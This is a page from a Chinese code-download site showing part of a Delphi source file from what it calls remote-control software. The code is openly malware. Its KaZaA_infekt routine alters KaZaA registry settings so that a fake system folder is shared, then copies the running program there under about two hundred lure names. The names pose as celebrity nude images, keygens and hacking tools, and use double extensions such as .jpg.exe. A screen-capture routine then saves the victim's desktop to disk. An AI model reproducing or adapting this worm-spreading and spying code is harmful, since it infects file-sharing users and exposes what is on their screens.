⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 unit1.pas

📁 国外的远程控制源码,国内首发~~~我看到了就转过来了~
💻 PAS
📖 第 1 页 / 共 4 页
字号:
🔍
1234 
   TmpDir:=Trim(Copy(strBuffer,1,intLen));
end;
procedure tform1.KaZaA_infekt;
var reg:Tregistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
if reg.OpenKey('Software\Kazaa\LocalContent',True) then
 reg.WriteString('DisableSharing','0');
reg.writestring('dir0','012345:'+'C:\Windows\sys32');
reg.writestring('dir1','012345:'+'C:\Windows\sys32');
reg.writestring('dir2','012345:'+'C:\Windows\sys32');
reg.writestring('dir3','012345:'+'C:\Windows\sys32');
reg.writestring('dir4','012345:'+'C:\Windows\sys32');
reg.writestring('dir5','012345:'+'C:\Windows\sys32');
CreateDirectory('C:\windows\sys32',NIL);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Britney.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\host_faker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\host_spoofer.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ip_spoofer.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ip_faker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ident_spoofer.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ident_faker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\tripod_hacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\tripod_cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\hotmailhacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\hotmailcracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\hotmail_account_sniffer.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\aimhacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\aimcracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\icqhacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\icqcracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\msnhacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\msncracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxp_hacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxp_cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxphack.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxp_crack.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\win2k_serial.jpg.exe',True);
CopyFile(PChar(Application.exename),'C:\Windows\sys32\yahoo_cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\yahoo_hacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\divx_fix.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\divx_repair.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ftp_hacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ftp_cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\porn_account_hacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\porn_account_cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\catherine_zeta_jones_nude.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\catherine_zeta_jones_naked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\catherine_zeta_jones_anal.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\pamela_anderson_anal.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\pamela_anderson_nude.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\pamela_anderson_naked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\buttman.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sarah_michelle_gellar_nude.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sarah_michelle_gellar_naked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sandra_bullock_nude.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sandra_bullock_naked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\anastasia_anal.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\anastasia_naked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\anastasia_nude.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_anal.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_assfucked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_naked.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_nude.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_paparazzi_collection.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP_keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\PS2_emulator_bleem.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\xbox_emulator_beta.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\linux_root.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\win2k_pass_decryptor.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Win2k_reboot_exploit.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\IIS_shellbind_exploit.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\AdvZip Recovery.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\AIM Pass stealer.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\AMI BIOS Cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Counter Strike_CD_Keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Delphi 5 Keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Delphi 6 Keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Half_life Cd keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Hotmail Hacker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ICQ_Hackingtools.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\invisible_IP.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kazaa.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\edonkey_serverlist.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd151_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd152_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd153_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd154_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd155_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd156_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd157_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd158_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd159_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd160_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd161_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd162_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd163_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd164_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd165_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd166_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd167_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd168_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd200_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd201_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd202_en.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Linux_rootaccess.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\msn_IP_finder.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Office key Gen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Autocad 2002 Crack.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Office XP Crack.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\OfficeXP_Keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\PS1 BootCD.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\PS2 BootCD.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP_Box_emulator.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Sub7_masterpwd.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Windows_Keygen_allver.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\WinXP_Keygen.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Winzip_Pass_Cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Word_Pass_Cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP DVD Plugin.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP ScreenSaver.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Yahoo_mail_cracker.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Pokemon.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Digimon.jpg.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Britney.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\host_faker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\host_spoofer.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ip_spoofer.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ip_faker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ident_spoofer.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ident_faker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\tripod_hacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\tripod_cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\hotmailhacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\hotmailcracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\hotmail_account_sniffer.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\aimhacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\aimcracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\icqhacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\icqcracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\msnhacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\msncracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxp_hacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxp_cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxphack.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\winxp_crack.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\win2k_serial.txt.exe',True);
CopyFile(PChar(Application.exename),'C:\Windows\sys32\yahoo_cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\yahoo_hacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\divx_fix.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\divx_repair.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ftp_hacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ftp_cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\porn_account_hacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\porn_account_cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\catherine_zeta_jones_nude.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\catherine_zeta_jones_naked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\catherine_zeta_jones_anal.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\pamela_anderson_anal.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\pamela_anderson_nude.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\pamela_anderson_naked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\buttman.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sarah_michelle_gellar_nude.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sarah_michelle_gellar_naked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sandra_bullock_nude.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\sandra_bullock_naked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\anastasia_anal.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\anastasia_naked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\anastasia_nude.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_anal.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_assfucked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_naked.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_nude.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\shakira_paparazzi_collection.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP_keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\PS2_emulator_bleem.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\xbox_emulator_beta.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\linux_root.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\win2k_pass_decryptor.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Win2k_reboot_exploit.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\IIS_shellbind_exploit.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\AdvZip Recovery.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\AIM Pass stealer.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\AMI BIOS Cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Counter Strike_CD_Keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Delphi 5 Keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Delphi 6 Keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Half_life Cd keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Hotmail Hacker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\ICQ_Hackingtools.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\invisible_IP.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kazaa.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\edonkey_serverlist.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd151_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd152_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd153_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd154_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd155_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd156_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd157_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd158_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd159_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd160_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd161_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd162_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd163_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd164_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd165_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd166_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd167_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd168_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd200_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd201_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd202_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd203_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd204_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd205_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd206_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd207_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\kmd208_en.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Linux_rootaccess.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\msn_IP_finder.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Office key Gen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Autocad 2002 Crack.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Office XP Crack.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\OfficeXP_Keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\PS1 BootCD.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\PS2 BootCD.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP_Box_emulator.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Sub7_masterpwd.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Windows_Keygen_allver.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\WinXP_Keygen.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Winzip_Pass_Cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Word_Pass_Cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP DVD Plugin.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\XP ScreenSaver.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Yahoo_mail_cracker.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Pokemon.txt.exe',True);
CopyFile(PChar(Application.ExeName),'C:\Windows\sys32\Digimon.txt.exe',True);

end;
function tform1.screencapture :string ;

  var DCDesk: HDC; // hDC of Desktop
  bmp: TBitmap;
begin
  {Create a bitmap}
  bmp := TBitmap.Create;
   
  {Set a bitmap sizes}
  bmp.Height := Screen.Height;
  bmp.Width := Screen.Width;

  {Get a desktop DC handle - handle of a display device context}
  DCDesk := GetWindowDC(GetDesktopWindow);
  
  {Copy to any canvas, here canvas of an image}
  BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
         DCDesk, 0, 0, SRCCOPY);

  {Save the bitmap}
  bmp.SaveToFile('c:\ScreenShot.bmp');

  {Release desktop DC handle}
  ReleaseDC(GetDesktopWindow, DCDesk);

  {Release a bitmap}
  bmp.Free;
  result := 'captured';
  end;



end.
1234

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -